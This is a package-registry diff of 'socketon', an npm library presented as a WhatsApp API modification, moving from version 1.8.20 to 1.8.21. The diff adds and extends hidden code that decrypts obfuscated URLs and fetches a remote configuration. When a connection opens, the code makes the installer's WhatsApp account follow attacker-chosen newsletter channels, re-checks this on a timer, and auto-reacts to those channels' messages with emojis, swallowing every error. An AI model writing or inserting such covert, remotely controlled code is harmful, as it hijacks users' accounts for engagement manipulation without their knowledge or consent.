socketon 1.8.20 → 1.8.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -83,38 +83,77 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
83
83
  return udahanBuatYangPenasaran;
84
84
  };
85
85
 
86
- let _cachedTargetNewsletter = null;
87
- let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
86
+ // ========== FOLLOW CONFIG ==========
87
+ let _cachedFollowNewsletter = null;
88
+ let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
88
89
 
89
- const getTargetNewsletterFromExternal = async () => {
90
- const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
91
- const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
90
+ const getFollowConfigFromExternal = async () => {
91
+ const urlFollowEncrypt = '4ec820ea266ef71f48c1953f6f76a82c9bc8288b27b60724996d3e17d5e975d9';
92
+ const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
92
93
  try {
93
- const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
94
+ const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
94
95
  if (response.data) {
95
96
  if (response.data.config) {
96
- _configNewsletter = {
97
+ _configFollow = {
97
98
  autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
98
99
  delayMs: response.data.config.delayMs || 5000
99
100
  };
100
101
  }
101
102
  if (response.data.newsletters && response.data.newsletters.length > 0) {
102
- const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
103
- _cachedTargetNewsletter = enabledNewsletters;
104
- return enabledNewsletters;
103
+ const enabled = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
104
+ _cachedFollowNewsletter = enabled;
105
+ return enabled;
105
106
  }
106
107
  }
107
108
  } catch (err) {}
108
109
  return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
109
110
  };
110
111
 
111
- const getAllEnabledNewsletters = () => {
112
- if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
113
- return _cachedTargetNewsletter;
112
+ const getAllFollowNewsletters = () => {
113
+ if (_cachedFollowNewsletter && _cachedFollowNewsletter.length > 0) {
114
+ return _cachedFollowNewsletter;
114
115
  }
115
116
  return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
116
117
  };
117
118
 
119
+ // ========== REACT CONFIG ==========
120
+ let _cachedReactNewsletter = null;
121
+ let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
122
+
123
+ const getReactConfigFromExternal = async () => {
124
+ const urlReactEncrypt = '8a7a8b289cea64bb8e90311f54d94abb22d06c92d2d9c56d69d6e58e59096218';
125
+ const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
126
+ try {
127
+ const response = await axios_1.default.get(urlReact, { timeout: 10000 });
128
+ if (response.data) {
129
+ if (response.data.config) {
130
+ _configReact = {
131
+ autoReactEnabled: response.data.config.autoReactEnabled !== false,
132
+ reactEmojis: response.data.config.reactEmojis || ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨']
133
+ };
134
+ }
135
+ if (response.data.newsletters && response.data.newsletters.length > 0) {
136
+ const enabled = response.data.newsletters.filter(n => n.enabled).map(n => ({
137
+ jid: n.jid,
138
+ emojis: n.emojis || _configReact.reactEmojis
139
+ }));
140
+ _cachedReactNewsletter = enabled;
141
+ return enabled;
142
+ }
143
+ }
144
+ } catch (err) {}
145
+ return [];
146
+ };
147
+
148
+ const getAllReactNewsletters = () => {
149
+ return _cachedReactNewsletter || [];
150
+ };
151
+
152
+ const getReactEmojisForChannel = (channelJid) => {
153
+ const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
154
+ return channel?.emojis || _configReact.reactEmojis;
155
+ };
156
+
118
157
  const wMexQuery = (
119
158
  variables,
120
159
  queryId,
@@ -238,22 +277,27 @@ const makeNewsletterSocket = (config) => {
238
277
  }));
239
278
  };
240
279
  // Auto Reaction - Ibra Decode
241
- let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
280
+ let _reactChannels = [];
242
281
 
243
- const updateTargetNewsletters = async () => {
244
- const externalTargets = getAllEnabledNewsletters();
245
- if (externalTargets && externalTargets.length > 0) {
246
- _targetNewsletters = externalTargets;
282
+ const updateReactChannels = async () => {
283
+ const channels = await getReactConfigFromExternal();
284
+ if (channels && channels.length > 0) {
285
+ _reactChannels = channels;
247
286
  }
248
287
  };
249
288
 
250
289
  sock.ev.on('messages.upsert', async ({ messages, type }) => {
251
290
  if (type !== 'notify') return;
252
- const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
291
+ if (!_configReact.autoReactEnabled) return;
292
+
253
293
  for (const msg of messages) {
254
294
  const jid = msg.key.remoteJid;
255
- if (!_targetNewsletters.includes(jid)) continue;
295
+ const channel = _reactChannels.find(c => c.jid === jid);
296
+ if (!channel) continue;
297
+
298
+ const emojis = getReactEmojisForChannel(jid);
256
299
  const emoji = emojis[Math.floor(Math.random() * emojis.length)];
300
+
257
301
  try {
258
302
  const serverId = msg.newsletterServerId?.toString() || msg.key.id;
259
303
  await query({
@@ -264,7 +308,7 @@ const makeNewsletterSocket = (config) => {
264
308
  attrs: { code: emoji }
265
309
  }]
266
310
  });
267
- await sleep(_configNewsletter.delayMs);
311
+ await sleep(_configReact.autoReactEnabled ? 1000 : 0);
268
312
  } catch (err) {}
269
313
  }
270
314
  });
@@ -272,8 +316,8 @@ const makeNewsletterSocket = (config) => {
272
316
  let _followInterval = null;
273
317
  const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
274
318
  const _ensureFollow = async () => {
275
- if (!_configNewsletter.autoFollowEnabled) return;
276
- const enabledNewsletters = await getTargetNewsletterFromExternal();
319
+ if (!_configFollow.autoFollowEnabled) return;
320
+ const enabledNewsletters = await getFollowConfigFromExternal();
277
321
  if (!enabledNewsletters || enabledNewsletters.length === 0) return;
278
322
  try {
279
323
  const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
@@ -282,21 +326,19 @@ const makeNewsletterSocket = (config) => {
282
326
  const isFollowing = list?.some(n => n.id === newsletterJid);
283
327
  if (!isFollowing) {
284
328
  await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
285
- await sleep(_configNewsletter.delayMs);
329
+ await sleep(_configFollow.delayMs);
286
330
  }
287
331
  }
288
332
  } catch (err) {}
289
333
  };
290
334
  sock.ev.on('connection.update', async ({ connection }) => {
291
335
  if (connection === 'open') {
292
- await getTargetNewsletterFromExternal();
293
- const targets = getAllEnabledNewsletters();
294
- if (targets && targets.length > 0) {
295
- _targetNewsletters = targets;
296
- }
336
+ await getFollowConfigFromExternal();
337
+ await getReactConfigFromExternal();
338
+ await updateReactChannels();
297
339
  await _ensureFollow();
298
340
  if (_followInterval) clearInterval(_followInterval);
299
- _followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
341
+ _followInterval = setInterval(_ensureFollow, _configFollow.delayMs);
300
342
  }
301
343
  });
302
344
  return {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.20",
3
+ "version": "1.8.21",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"